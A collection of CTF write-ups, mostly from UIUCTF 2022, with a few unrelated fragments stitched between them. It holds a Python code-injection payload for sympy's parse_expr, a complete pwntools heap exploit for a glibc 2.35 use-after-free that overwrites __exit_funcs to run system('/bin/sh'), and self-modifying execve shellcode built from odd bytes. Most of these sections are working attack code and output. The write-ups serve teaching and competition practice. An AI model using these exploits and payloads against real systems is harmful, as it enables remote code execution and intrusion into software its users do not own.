```{ "flag": "HTB{i_slipped_my_way_to_rce}\n"}``` |
[Original writeup](https://imp.ress.me/blog/2022-08-01/uiuctf-2022/#sussy-ml)
Given an image classifier neural network that returns intermediate layer embeddings instead of classifier output, do dimensionality reduction / clustering on the embeddings to identify minority images to get the flag. |
## rev/safepy**Description: godlike snake with a nebula behind it and math equations floating around it**
[challenge file](https://2022.uiuc.tf/files/d242f7830f4f4a51cd068df3decf7612/handout.tar.gz?token=eyJ1c2VyX2lkIjoxMzQsInRlYW1faWQiOjE2MywiZmlsZV9pZCI6NjU3fQ.YuVUdA.TU9BWpZir1-_AH5A1PBXGTFfkO8)
Given python script```pythonfrom sympy import *
def parse(expr): # learned from our mistake... let's be safe now # https://stackoverflow.com/questions/33606667/from-string-to-sympy-expression # return sympify(expr)
# https://docs.sympy.org/latest/modules/parsing.html return parse_expr(expr)
print('Welcome to the derivative (with respect to x) solver!')user_input = input('Your expression: ')expr = parse(user_input)deriv = diff(expr, Symbol('x'))print('The derivative of your expression is:')print(deriv)```This issue in github shows the vulnerability in **parse_expr**.
[vulnerable explanation](https://github.com/sympy/sympy/issues/10805#issuecomment-1002147366)
**payload:**```python__import__("os").system("cd / && cat flag")```
**Output**```shell== proof-of-work: disabled ==Welcome to the derivative (with respect to x) solver!Your expression: __import__("os").system("cd / && cat flag")uiuctf{na1v3_0r_mal1ci0u5_chang3?}
The derivative of your expression is:0```**flag:uiuctf{na1v3_0r_mal1ci0u5_chang3?}** |
# The challengeWe were given C source code along with a compiled version and a copy of ubuntu's glibc-2.35 (libc6_2.35-0ubuntu3_amd64)
This is your normal "CRUD" style (Create, Read, Update, Delete) heap challenge (this time without the "update" part):```c#define MAX_CHUNK_SIZE 100#define CHUNKS_LIST_SIZE 32
enum Action { ACTION_ADD = 1, ACTION_DELETE, ACTION_VIEW, ACTION_EXIT,};
typedef struct chunk_t { int64_t size; int64_t used; void *ptr;} chunk_t;
chunk_t *chunks[CHUNKS_LIST_SIZE];size_t chunk_idx = 0;
void add_chunk(void) { if (chunk_idx >= CHUNKS_LIST_SIZE) { puts("[-] Chunk limit exceeded!"); return; }
printf("[?] Enter chunk size: "); size_t chunk_size = read_integer();
if (chunk_size > MAX_CHUNK_SIZE) { puts("[-] Chunk is too large!"); return; }
chunk_t *new_chunk = (chunk_t *)malloc(sizeof(chunk_t));
if (new_chunk == NULL) { puts("[-] Failed to create new chunk!"); return; }
void *ptr = (void *)malloc(chunk_size);
if (ptr == NULL) { puts("[-] Failed to create chunk for data!"); return; }
printf("[?] Enter chunk data: "); ssize_t nbytes = read_into_buffer(ptr, chunk_size);
new_chunk->size = chunk_size; new_chunk->used = true; new_chunk->ptr = ptr;
chunks[chunk_idx] = new_chunk; chunk_idx += 1;}
void delete_chunk(void) { printf("[?] Enter chunk id: "); size_t chunk_id = read_integer();
if (chunk_id >= chunk_idx) { puts("[-] Invalid chunk index!"); return; }
chunk_t *chunk = chunks[chunk_id];
if (chunk == NULL) { puts("[-] No such chunk!"); return; }
if (!chunk->used || chunk->ptr == NULL) { puts("[-] Chunk is not used!"); return; }
free(chunk->ptr); chunk->ptr = NULL; chunk->used = false; free(chunks[chunk_id]);}
void view_chunk(void){ printf("[?] Enter chunk id: "); size_t chunk_id = read_integer();
if (chunk_id >= CHUNKS_LIST_SIZE) { puts("[-] Invalid chunk index!"); return; }
if (chunks[chunk_id] == NULL) { puts("[-] No such chunk!"); return; }
if (!chunks[chunk_id]->used || chunks[chunk_id]->ptr == NULL) { puts("[-] Chunk is not used!"); return; }
write_from_buffer(chunks[chunk_id]->ptr, chunks[chunk_id]->size);}```
# The vulnerabilityLet's take a look at the `delete_chunk` function again:```cvoid delete_chunk(void) { printf("[?] Enter chunk id: "); size_t chunk_id = read_integer();
if (chunk_id >= chunk_idx) { puts("[-] Invalid chunk index!"); return; }
chunk_t *chunk = chunks[chunk_id];
if (chunk == NULL) { puts("[-] No such chunk!"); return; }
if (!chunk->used || chunk->ptr == NULL) { puts("[-] Chunk is not used!"); return; }
free(chunk->ptr); chunk->ptr = NULL; chunk->used = false; free(chunks[chunk_id]);}```Looks quite good actually, the deleted chunk is marked as unused so that we cannot use it anymore and even the chunk's pointer is set to `NULL` so that we wouldn't have a dangling pointer to work with if the checks were faulty...
So what's the problem here? Let's look closely at the last line. The `chunk_t` with all the metadata about the entry is freed as well. However, it is still accessible through the old index so this is a use after free bug!
Only the inner pointer is protected from a use after free, but not the `chunk_t` itself. This is a friendly reminder, that you need to be very careful when programming in C.To fix this vulnerability, chunks[chunk_id] should have been set to `NULL` after the `free`.# A sidenote about Glibc >= 2.34Before we exploit this vulnerability, let's look at the changes from recent glibc versions. It became a bit harder to exploit this stuff:
In version 2.34, `__malloc_hook` `__free_hook` and `__realloc_hook` were [removed](https://developers.redhat.com/articles/2021/08/25/securing-malloc-glibc-why-malloc-hooks-had-go). These hooks were easy targets for heap exploitation, because writing the address of `system` to `__free_hook` and calling `free` on the string `"/bin/sh"` gave you a shell. All you needed for that was a write-what-where (and some address leaks to defeat ASLR). From a hacker's perspective this is very annoying, but it's a good decision to strengthen glibc's security. Now you have to find some other way to get code execution (we will use the `__exit_funcs` structure later on, this stores the functions to be executed before the program ends, set by `atexit(3)`)
Furthermore, new glibc versions don't store function pointers directly anymore, but encrypted with a secret key created on startup (similar to stack canaries). We will later on see what this means for our exploit.
# Exploitation## Talking with the binaryTo make our life easier, let's wrap each action from the binary into a python function as the basic building blocks of our exploit:```pythonchunk_idx = 0
def add(content, l=None): global chunk_idx assert chunk_idx < 32 if not l: l = len(content) io.sendlineafter(b'> ', b'1') io.sendlineafter(b'chunk size: ', str(l).encode()) io.sendafter(b'chunk data: ', content) chunk_idx += 1
def delete(idx): io.sendlineafter(b'> ', b'2') io.sendlineafter(b"chunk id: ", str(idx).encode())
def view(idx): io.sendlineafter(b'> ', b'3') io.sendlineafter(b'chunk id: ', str(idx).encode()) response = io.recvuntil(b'1. Add')[:-6] assert response[:3] != 'b[-]', response return response```
## Basic exploit primitives### Read bytes from an arbitrary addressSo what can we do with this vulnerability? Remember, a deleted `chunk_t` is `freed`, which means that this address can be returned for another allocation. If we manage to write arbitrary content at this location, we fill the `chunk_t` fields how we want.
Combine this with the `view` action, we can read from anywhere we want (just overwrite the `length` and `ptr` fields and set `used` to 1).So, how can we do this? If we delete a chunk, the corresponding allocations are put into the `tcache` (because of their size). If the content length was 24 (the same as `sizeof(chunk_t)`), then the tcache would look like this:```+----------+ +----------+| | | || chunk_t | -> | contents || | | |+----------+ +----------+```
If we allocate the next chunk, the first `malloc` request will be for a `chunk_t`, which will return the freed `chunk_t` address. While we can overwrite the old index this way, we don't have control over the pointer. In fact, the freed index will look exactly like our freshly allocated index so we don't get anything out of it at all. What we want to do instead is to have the `chunk_t` heap chunk returned for our string allocation... But to do so, we need another entry in the tcache in front.
What we can do is to free two different chunks. Then the tcache will look like this:```+----------+ +----------+ +----------+ +----------+| | | | | | | ||chunk i+1 | -> | contents | -> | chunk i | -> | contents || | | | | | | |+----------+ +----------+ +----------+ +----------+```If we would allocate a chunk of size 24 now, then the first two entries are removed to serve the allocations. However the `chunk_t` the same problem persists, as the `chunk_t` structure is written to `chunk i+1`, but we wanted our string to go into one of these chunks. Therefore, before we can allocate a chunk of size 24, we have to allocate a chunk of a bigger size, because then it cannot be served by these chunks as they are too small, thus removing only one element from this linked list.
After an `add("a"*64)`, the tcache will look like this:```+----------+ +----------+ +----------+| | | | | || contents | -> | chunk i | -> | contents || | | | | |+----------+ +----------+ +----------+```Therefore, the next `add("b"*24)` would fill `chunk i` with 24 `0x62` (the ascii value of `b`). If we would view `chunk i` now, the binary will crash because we have overwritten the pointer with an invalid address.
Instead of 24 `b`s we want a reasonable payload, so let's use this one: `p64(length) + p64(1) + p64(ptr)`. This is just the structure defined above, but this time we can control the length and the pointer value. If we view this chunk now, we read `length` bytes from `ptr`. This is our arbitrary read.
**Note:** While creating this writeup, I noticed that this can be done easier. If the second chunk we freed had a different size, it would be put into another tcache. So that we get:```+----------+ +----------+ +----------+| | | | | ||chunk i+1 | -> | chunk i | -> | contents || | | | | |+----------+ +----------+ +----------+```
Now we can allocate a string of size 24 and it will be put into `chunk i` above...
### Possibly arbitrary write? No, but we can free anything!Unfortunately, we cannot get an arbitrary write the same way. While we could write any pointer and free the chunk (keep in mind that the pointer will be freed as well!), this will not work for arbitrary addresses, because `free` expects the freed pointer to have a valid heap chunk header in front of it (it needs to determine where to put this chunk after all!). However, most addresses will not look like a valid heap chunk and will result in a crash...
But we can use this to free an arbitrary (valid looking) heap chunk. So we get a double free out of it if we know some heap address.
## LeaksOk, so now we can read from anywhere we want, but this executable is position independent, which means that all base addresses are random with ASLR turned on (not only the heap and libraries). Before we can read anything we need to know some addresses!
### Heap leakFortunately, the `read_to_buffer` function contains another bug: It will only call the `read()` system call one time and not until the buffer is full. `read` will return any data that is available, without waiting until the complete buffer can be filled. This means that we can send only a single byte for our let's say 24 bytes buffer. So that 23 of 24 bytes will not be overwritten when allocating. However, because the buffer size is 24, view will still return 24 bytes, therefore we can read most of what was there before we allocated the chunk.As a freed heap chunk in the tcache has the fwd pointer as the first 8 bytes of the user data, we can recover 7 out of 8 bytes of the next chunks address in the tcache. As we will only need this up to the page boundary, we don't need the least significant byte anyway.
But wait, glibc has some pointer obfuscation in the tcache by now as well. It would be too easy without, right?
How does it work? The magic happens in the `PROTECT_PTR` macro in [malloc.c:340](https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L340):```c/* Safe-Linking: Use randomness from ASLR (mmap_base) to protect single-linked lists of Fast-Bins and TCache. That is, mask the "next" pointers of the lists' chunks, and also perform allocation alignment checks on them. This mechanism reduces the risk of pointer hijacking, as was done with Safe-Unlinking in the double-linked lists of Small-Bins. It assumes a minimum page size of 4096 bytes (12 bits). Systems with larger pages provide less entropy, although the pointer mangling still works. */#define PROTECT_PTR(pos, ptr) \ ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)```
How do we get the original pointer out of it? Well, if both arguments (the position where the pointer is written and the pointer itself) are on the same page, then we can fully reverse this obfuscation. We know that the first 12 bits are `0`, because of the right shift by 12. This means that the first 12 bits are not modified. Now with these 12 bits we can decrypt the next 12 bits (because `x^(x^y) = y`). Now repeat this until you have decrypted the entire pointer:```pythondef deobfuscate(val): mask = 0xfff << 52 while mask: v = val & mask val ^= (v >> 12) mask >>= 12 return val```Now, we just need to free two chunks and allocate one with a single `\x00` byte, so that we can read the fwd pointer of the tcache. We need to free two chunks so that the fwd pointer is not `NULL` (therefore there are still elements in the tcache after it).
Then we can use the deobfuscate function to decrypt the pointer (the lowest byte is broken because it was overwritten with our null byte). Now, the base address of the heap is anything but the 12 lowest bits. (e.g. `(leak >> 12) << 12`)
### Libc leakHow do we leak a libc address? The normal way would be to read this from a chunk in the unsorted bin... However, we can only allocate up to 100 bytes, which is too small to be put into the unsorted bin and will just go to the tcache instead.
However, we can just pretend that we've got a chunk large enough to be put into the unsorted bin... What if we write `p64(0x421)` somewhere on the heap? To glibc this looks like a heap chunk header of size `0x420` with the previous chunk in use bit set, if we free it, it will be put into the unsorted bin.
However, we still have to make it look like it's a valid chunk, before `free` accepts it. What does `free` check? - Is the chunk correctly aligned? All chunks returned by `malloc` are multiples of `0x10` - Is the next chunk (at ptr + size - 8) valid? Is the `prev_inuse_bit` set? If it isn't try to merge these chunks - Is the previous chunk size (at ptr + size - 16) the same as the one in the header? If not, abort Therefore, we need to add another valid looking chunk after the chunk we want to free. By experimenting inside GDB, we found out that for a chunk of size `0x420`, we need 6 x 100 byte chunks to fill the gap in between. The end of the chunk is somewhere inside the seventh chunk, where we want to write `p64(0x420)+p64(0x21)` so that it looks like a valid chunk of size `0x20` with previous chunk size `0x420`. This also sets the `prev_inuse_bit` so that `free` will not try to merge these chunks, leaving this bit unset would trigger more checks, which we do not want. This is how the heap will look like:
```0x000056454cbe62f8: 0x0000000000000021 0x000056454cbe6300: 0x6161616161616161 <- Pointer to the chunk we allocated0x000056454cbe6308: 0x0000000000000421 <- Fake chunk header0x000056454cbe6310: 0x0000000000000000...0x000056454cbe6720: 0x0000000000000420 <- Previous chunk size (checked by free)0x000056454cbe6728: 0x0000000000000021 <- Next fake chunk (exactly 0x420 bytes after the first fake header)0x000056454cbe6730: 0x00000000000000000x000056454cbe6738: 0x00000000000000000x000056454cbe6740: 0x00000000000000000x000056454cbe6748: 0x00000000000208c1 <- Header of the top chunk```
Now, when we free the address where we wrote `0x420` + 8, our faked heap chunk will be put into the unsorted bin and we can read the pointer to glibc's `main_arena+96` from the same address we just freed.
Luckily, we can use this pointer as is, there's no pointer obfuscation here (yet? :P)
## Write anywhereIf we want code execution, we will need to replace a function pointer somewhere... So how do we do this?
Let's recall what we did to obtain a libc leak. We created a fake chunk and convinced `free` to accept it. What if we also freed the chunk where this fake chunk header is written? Then we could access the same chunk from two different places, which is bad, because then we can just overwrite the fwd pointer in the tcache to return us an arbitrary address...
However, there is a catch: The pointer returned by `malloc` must also be aligned to `0x10` bytes or else we fail a check in `malloc` and the program aborts. So we may have to write some bytes in front of our target as well.
## Where do we want to write?As said before, glibc 2.34 removed the easy `__free_hook` exploit primitive... Unfortunately, we have to deal with `__exit_funcs` now.
During the CTF, I used [this blog post](https://binholic.blogspot.com/2017/05/notes-on-abusing-exit-handlers.html) to figure out how it works. But it is also advisable to look at the source code [here](https://elixir.bootlin.com/glibc/glibc-2.35/source/stdlib/exit.h) and [here](https://elixir.bootlin.com/glibc/glibc-2.35/source/stdlib/exit.c).
I will summarize the key points here again:- There is an unpublished symbol `__exit_funcs` that holds a linked list of functions to be executed before the program exits.- This address can be found by looking at the `exit` function, as it just calls `_run_exit_handlers` with the pointer that is stored in `__exit_funcs`.- Each function pointer is encrypted with xor and rotated right by `0x11` bits.- By default there is a function `_dl_fini` in there. We can figure out the address with GDB (set a breakpoint to the exit handler and step until the pointer is decrypted)- This function is in the linker, which is loaded directly after libc in the address space, so we can use the libc leak to compute the function's address- Once we have leaked the encrypted pointer, we can get the encryption key by `rotateleft(leak) ^ _dl_fini_address`- Now we can encrypt arbitrary addresses :)
How do we put this all together? We want to replace the pointer stored in `__exit_funcs` (whose address we know via the libc leak). We will put the address of a fake `exit_function_list` we allocated on the heap in there.
How does this structure look like?```cenum{ ef_free, /* `ef_free' MUST be zero! */ ef_us, ef_on, ef_at, ef_cxa};
struct exit_function { /* `flavour' should be of type of the `enum' above but since we need this element in an atomic operation we have to use `long int'. */ long int flavor; union { void (*at) (void); struct { void (*fn) (int status, void *arg); void *arg; } on; struct { void (*fn) (void *arg, int status); void *arg; void *dso_handle; } cxa; } func; };struct exit_function_list { struct exit_function_list *next; size_t idx; struct exit_function fns[32]; };```
**Note:** `idx` denotes the number of entries.
So we want a `exit_function_list` with next set to `NULL`, `idx` to 1 and an `exit_function` in `fns[0]`. What type of exit function do we want? There are different "flavors" to choose from. In our case type `cxa` looks nice, because we can specify a pointer as the first argument of the function as well.
If we put a pointer to `"/bin/sh"` into `arg` (just allocate it on the heap, we can calculate the offset) and the address of `system` into `fn`, a call to `exit()` will invoke `system("/bin/sh")` and we're done. What a ride!# Complete exploit```python#!/usr/bin/env python3from pwn import *
# Set up pwntools for the correct architecturecontext.update(arch='amd64', terminal=['alacritty', '-e', 'sh', '-c'])
exe_file = './main'
host = '51.250.22.68'port = 17001
binary = ELF(exe_file)libc = ELF('./libc.so.6')
def start(argv=[]): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([exe_file] + argv, gdbscript=gdbscript) elif args.REMOTE: return remote(host, port) else: return process([exe_file] + argv)
# Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = ''''''
# ===========================================================# EXPLOIT GOES HERE# ===========================================================
io = start()chunk_idx = 0
def add(content, l=None): global chunk_idx assert chunk_idx < 32 if not l: l = len(content) io.sendlineafter(b'> ', b'1') io.sendlineafter(b'chunk size: ', str(l).encode()) io.sendafter(b'chunk data: ', content) chunk_idx += 1
def delete(idx): io.sendlineafter(b'> ', b'2') io.sendlineafter(b"chunk id: ", str(idx).encode())
def view(idx): io.sendlineafter(b'> ', b'3') io.sendlineafter(b'chunk id: ', str(idx).encode()) response = io.recvuntil(b'1. Add')[:-6] assert response[:3] != 'b[-]', response return response
# Read primitive# When we free a chunk, chunks[idx] still points to the heap# When that chunk is allocated again, we can fill the contents# with anything we want# Idea:# 1. Free 2 chunks with content size 24 (= sizeof(chunk_t)) to put them in the tcache# Both their content and their datastructure is freed, so the tcache looks like this:# +----------+ +----------+ +----------+ +----------+# | | | | | | | |# |chunk i+1 | -> | contents | -> | chunk i | -> | contents |# | | | | | | | |# +----------+ +----------+ +----------+ +----------+# When we would allocate, two chunks are removed and in the second one, we can write anything we want# If we could discard the first one, we can write anything we want into chunk i (which is still accessible!)# If we write a valid chunk layout (with used=1) into chunk i, we can read from the pointer in that structure (which we also control)# 2. To discard a chunk, we allocate a string that is bigger than 24, so it cannot be served from the tcache# Therefore, only chunk i+1 is removed to serve the malloc(sizeof(chunk_t)).# 3. Allocate a chunk of size 24 (= sizeof(chunk_t)). The chunk_t allocation will point to contents from above, while our allocated string# will be put into chunk i. The layout of chunk_t is length + used + ptr. Therefore we write p64(length to read) + p64(1) + p64(ptr to read)# 4. If we view chunk i, it will read the length and ptr to read from the just allocated fake chunk_tdef read(ptr, l): idx = chunk_idx # 1. free 2 chunks of size 24 add(b'A' * 24) add(b'B' * 24) delete(idx) delete(idx + 1) # 2. Discard a chunk (allocate with size > 24) add(b'C' * 64) # 3. Craft a fake chunk_t add(p64(l) + p64(1) + p64(ptr)) # Use the dangling pointer from chunk idx, to read from wherever we like return view(idx)
# Can we also use something similar to write anywhere we like? Unfortunately not.# We can only write to a chunk when we allocate it and not while it's in the tcache.# Therefore we cannot overwrite a chunk's fwd pointer (it would work if we had a double free).# However, we can use the previous idea to free an arbitrary pointer, giving us more control over the heap.# To do so, instead of viewing the faked chunk, we simply delete it again, so that the pointer from# the fake chunk_t is freed as welldef free(ptr): idx = chunk_idx # Same idea as before # 1. free 2 chunks of size 24 add(b'A' * 24) add(b'B' * 24) delete(idx) delete(idx + 1) # 2. Discard a chunk add(b'C' * 64) # 3. Craft a fake chunk_t add(p64(8) + p64(1) + p64(ptr)) # When we delete the fake chunk_t, the given ptr is also freed delete(idx)
# Defeat glibc's heap pointer obfuscation# mangled = ptr ^ (address >> 12), where address is the address the pointer is stored at# If the pointer is stored in the same page, we can fully recover the leaked pointer value,# as we know the first 12 bitsdef deobfuscate(val): mask = 0xfff << 52 while mask: v = val & mask val ^= (v >> 12) mask >>= 12 return val
# "/bin/sh" string we later use for system() calladd(b"/bin/sh")
# Leak a heap address# When we free() a chunk it gets put into the tcacheadd(b'K' * 24)add(b'L' * 24)delete(1)delete(2)add(b'\x00', l=24)heap = (deobfuscate(u64(view(3)[:8])) >> 12) << 12log.info(f'Heap @{hex(heap)}')
# Libc leak# To leak a libc address, we need to put a chunk into the unsorted binary# Unfortunately, we can only allocate up to 100 bytes, which is too short# and will be put into the tcache instead# Therefore, we create a fake chunk instead, which we will free manually.# Glibc checks whether the chunk looks "sane", e.g. if the next chunk (ptr + chunk_size)# has the prev_in_use bit set (lowest bit) and whether the previous size matches# (at ptr + chunk_size - 8)# We allocate our fake chunk of size 0x420 (1056 bytes, just enough to get into the unsorted bin)add(b'7' * 8 + p64(0x420 + 1))# Now, we need to get to the end of our fake chunk to make glibc happy# 6 Chunks in between are enough (just tried in GDB, not used math for this one lol)for i in range(6): add(bytes([i]) * 100)# In this allocation is the end of our faked chunk.# We need to write the previous chunk's size (0x420) followed by a valid chunk header (e.g. 0x21)# It is important that the prev_in_use_bit is set (e.g. 0x20 would not work!)# As I am too lazy to calculate the correct offset, we just do heap spraying :Padd((p64(0x420) + p64(0x21)) * 6)# If we free this chunk, a pointer to glibc's main arena can be read from the chunk's fwd and bwd pointerfree(heap + 0x310)
# Careful! Heap allocations can be served from the chunk in the unsorted bin, shrinking it from the beginning of said chunk.# Unfortunately, our read primitive allocates, so that after the allocations the fwd and bwd pointer are at offset 0x3a0# instead of 0x310 (I also refused to use math for this one and did it in GDB)libc.address = u64(read(heap + 0x3a0, 8)) - 0x219ce0__exit_funcs = libc.address + 0x219838log.info(f'libc @{hex(libc.address)}')log.info(f'__exit_funcs @{hex(__exit_funcs)}')
# We need to pop a shell after all. So what do we do next?# Normally I'd just overwrite `__free_hook` with `system`, but glibc 2.34 removed the malloc hooks...# Now, we have to use the __exit_funcs array which is way more complicated >:(# I used this blogpost to figure it out: https://binholic.blogspot.com/2017/05/notes-on-abusing-exit-handlers.html# To summarize it, we have to create exit_funcs_list on the heap and put the `system` function there with "/bin/sh\x00"# as an argument (using the ex_cxa function type)# It is advisable to read the source code to understand how and why:# Here is the type definition: https://elixir.bootlin.com/glibc/glibc-2.35/source/stdlib/exit.h# And here how the handlers are executed: https://elixir.bootlin.com/glibc/glibc-2.35/source/stdlib/exit.c
# But most importantly, glibc uses pointer mangling to "encrypt" stored function pointers# The reasoning is that it makes it harder to write exploits (it really does)# How does it work?# pointer encryption: rotateleft(ptr ^ key, 0x11)# pointer decryption: rotateright(ptr, 0x11) ^ key# where key is a random value set at program start (similar to the stack canary)# To find this key, we will need to obtain a known encrypted pointer. Luckily there is one in the __exit_funcs by default.# See the above blogpost for details
# This is where the original __exit_funcs first function is stored (found the offset using gdb):orig_onexit_addr = libc.address + 0x21af18# And this is the address of the function (_dl_fini) it callsorig_handler = libc.address + 0x230040
# The shifts are copied from the above blogpost# Rotate left: 0b1001 --> 0b0011rol = lambda val, r_bits, max_bits: \ (val << r_bits%max_bits) & (2**max_bits-1) | \ ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
# Rotate right: 0b1001 --> 0b1100ror = lambda val, r_bits, max_bits: \ ((val & (2**max_bits-1)) >> r_bits%max_bits) | \ (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
# encrypt a function pointerdef encrypt(v, key): return p64(rol(v ^ key, 0x11, 64))
# obtain the keykey = ror(u64(read(orig_onexit_addr, 8)), 0x11, 64) ^ orig_handler
# Sanity check that the implementation is correct (check in GDB)log.info(f'ptr encryption key: {hex(key)}')log.info(f'sanity check: {hex(u64(encrypt(orig_handler, key)))}')
# Next, we need to allocate our exit_function_list, we're using the cxa type because it is called as func(void *arg, int status)# This is nice to obtain system(void *arg) where arg is a pointer to "/bin/sh"# We already allocated the '/bin/sh' at offset 0x2c0############# next | count | type (cxa) | addr | arg | not usedonexit_fun = p64(0) + p64(1) + p64(4) + encrypt(libc.sym['system'], key) + p64(heap + 0x2c0) + p64(0)add(onexit_fun)
# So, how do we write this to the __exit_funcs pointer?# We can use the free()-primitive to get a double free# Then we can allocate one (setting the fwd pointer)# Note that glibc checks whether tcache chunks are properly aligned (multiple of 0x10)# As it is at an odd address, we have to allocate 8 bytes earlier and pad our stringidx = chunk_idxadd(b'0' * 24 + p64(0x21) + b'Z'*16)delete(idx)free(heap + 0x4d0)
# Now, when we allocate the chunk_t again (chunk idx), we can overwrite the fwd pointer,# which will be served in the next allocation# Important: We have to obfuscate the pointer!add(b'0' * 24 + p64(0x21) + p64((__exit_funcs - 8) ^ (heap >> 12)) + b'Y'*16)# Now, the next alloc returns the address __exit_funcs - 8, which we will overwrite# with our exit_function_list we allocated earlieradd(b'\x00' * 8 + p64(heap + 0x450))
# Now we can exit and let everything unfoldio.sendlineafter(b'> ', b'4')io.interactive()``` |
# UIUCTF 2022 - Odd Shell Writeup- Type - pwn- Name - Odd Shell- Points - 107
## Description```markdownO ho! You found me! I have a display of oddities available to you!
$ nc odd-shell.chal.uiuc.tf 1337
author: Surg```
## WriteupI decided to spawn a shell using the `syscall` approach (see the entry for `execve` in the [Linux System Call Table](https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/) to see how I had to set registers). I used an [online x86/6x assembler](https://defuse.ca/online-x86-assembler.htm#disassembly) to test my assembly commands and ensure they were all odd. Since some important instructions were only even, I took a dynamic approach, where I had the instructions change future instructions.
For example, if I wanted the instruction `xor rsi,rsi` to zero out the `rsi` register, the assembly would be `48 31 f6`. Since both `48` and `f6` were even, I modified them to odd instructions (`xor r13d,r14d`, which was `45 31 f5`), and then wrote instructions that added 3 to 45 and 1 to f6. This transformed `xor r13d,r14d` to `xor rsi,rsi`, then ran the instruction. I also stored the string `/bin/sh` at the beginning of the memory address provided for our shellcode, and copied that address from the `rdx` register. Register 15 (`r15`) was my main scratch register.
Shellcode:```assembly### PUT "/bin/sh" AT BEGINNING OF INSTRUCTIONS #### move address for instruction start to r15mov r15,rdx
# create "nib/" (0x6d69612f) in rcx, then move to r15mov ecx,0x010d31b1imul ecx,ecx,0x69add ecx,0x7fadd ecx,0x17mov DWORD PTR[r15],ecx
# shift r15 by 4 for next part of stringadd r15,3add r15,1
# create "\x00hs/" (0x0068732F) in rcx, then move to r15mov ecx,0x016973b5sub ecx,0x01010101add ecx,0x7bmov DWORD PTR[r15],ecx
### MOVE $rdx into $rdi ###mov r15,rdxadd r15,0x3badd r15,0x1add DWORD PTR[r15],0x3mov r15d,r10d
### PUT 0 INTO $rsi #### add 3 to first part of XORmov r15,rdxadd r15,0x55add DWORD PTR[r15],0x3
# add 1 to third part of XORmov r15,rdxadd r15,0x57add DWORD PTR[r15],0x1
xor r13d,r14d # (45 31 f5) --> xor rsi,rsi (48 31 f6)
### PUT 0 INTO $rdx #### add 3 to first part of XORmov r15,rdxadd r15,0x75add r15,0x1add DWORD PTR[r15],0x3
# add 1 to third part of XORmov r15,rdxadd r15,0x77add r15,0x1add DWORD PTR[r15],0x1
xor r9d,r10d # (45 31 d1) --> xor rdx,rdx (48 31 d2)
### PUT 59 INTO $rax #### random instruction for offsetxor r13,r13
# add 7 to first part of XORmov r15,rdiadd r15,0x7fadd r15,0x1badd DWORD PTR[r15],0x7
# subtract 1 from third part of XORmov r15,rdiadd r15,0x7fadd r15,0x1dsub DWORD PTR[r15],0x1
add r9d,0x3b # (41 83 c1 3b) --> add rax,0x3b (48 83 c0 3b)
### SYSCALL ###syscall```
I then put this shellcode into a Python script with pwntools ([odd.py](https://github.com/BYU-CTF-group/writeups/blob/main/UIUCTF_2022/odd%20shell/odd.py)) and ran it! Results:
```bash$ python3 odd.py REMOTE[+] Opening connection to odd-shell.chal.uiuc.tf on port 1337: Done[*] Switching to interactive modeDisplay your oddities:$ whoamiuser$ cat /flaguiuctf{5uch_0dd_by4t3s_1n_my_r3g1st3rs!}$[*] Closed connection to odd-shell.chal.uiuc.tf port 1337```
**Flag:** `uiuctf{5uch_0dd_by4t3s_1n_my_r3g1st3rs!}` |
# UIUCTF 2022 - easy math 1 Writeup- Type - pwn- Name - easy math 1- Points - 88
## Description```markdownTake a break from exploiting binaries, and solve a few* simple math problems!
$ ssh [email protected], password is ctf
author: kuilin```
## WriteupThis pwn problem was pretty interesting and not too difficult to implement. Once you signed in to the server using the provided credentials, you were greeted with four challenge files:
```$ ssh [email protected]@easy-math.chal.uiuc.tf's password:== proof-of-work: disabled ==ctf@test-center:~$ ls -l-rw-r--r-- 1 ctf ctf 265 Jul 30 18:48 README-r-sr-xr-x 1 admin admin 13296 Jul 30 18:50 easy-math-rw-r--r-- 1 ctf ctf 1348 Jul 29 09:01 easy-math.c-r-------- 1 admin admin 327 Jul 29 09:01 flagctf@test-center:~$ cat flagcat: flag: Permission deniedctf@test-center:~$```
The `README` contained some information about what programs were installed on the Ubuntu 18.04 instance to help with on-prem solve scripts. The `flag` file was only readable by the `admin` user. Then, the source code and binary for `easy-math` were provided. The whole source code can be found [here](https://github.com/BYU-CTF-group/writeups/blob/main/UIUCTF_2022/easy%20math%201/easy-math.c), but the important parts are below:
```c#define MATH_PROBLEMS 10000
int take_test() { int urand = open("/dev/urandom", O_RDONLY); if (!urand) return 1; unsigned char urand_byte;
for (int i=0; i<MATH_PROBLEMS; i++) { if (read(urand, &urand_byte, 1) != 1) return 1; int a = urand_byte & 0xf; int b = urand_byte >> 4; printf("Question %d: %d * %d = ", i+1, a, b);
int ans; if (scanf("%d", &ans) != 1) return 1; if (ans != a * b) return 1; }
close(urand); return 0;}
int main() { setreuid(geteuid(), getuid()); setvbuf(stdout, NULL, _IONBF, 0);
// ...
if (take_test()) { printf("You have failed the test.\n"); return 1; }
setreuid(getuid(), getuid()); system("cat /home/ctf/flag"); return 0;}```
The gist of this script is that 10,000 simple math problems will be thrown at you, and if all of them are solved correctly, then the flag will be printed out. However, this binary wasn't accessible through a netcat listener, but rather when signed in to the SSH server. There were two approaches I could take - develop a script that would sign in to SSH and answer all the problems, or create a script on the server that would solve it for me. I was lazy, so I decided to take the first route.
My solve script ([math.py](https://github.com/BYU-CTF-group/writeups/blob/main/UIUCTF_2022/easy%20math%201/math.py)) hinged on the Python library [pexpect](https://pexpect.readthedocs.io/en/stable/). This library allowed you to run system commands, capture the output, and send custom input dynamically by using the `spawn()`, `expect()`, and `sendline()` commands. It SSHed into the system, ran the executable, and captured both numbers. It then passed it into eval and sent the result to the program through the SSH tunnel. It printed out each question it solved and then the flag:
```$ python3 math.pyQuestion 1: 13 * 3 = 39Question 2: 6 * 0 = 0Question 3: 10 * 9 = 90Question 4: 7 * 15 = 105Question 5: 14 * 5 = 70Question 6: 13 * 12 = 156...Question 9999: 15 * 8 = 120Question 10000: 11 * 9 = 99Flag!Nice job! Now, the question is, did you do it the fun way, or by hiding behind your ssh client?
Part 1 flag:uiuctf{now do it the fun way :D}
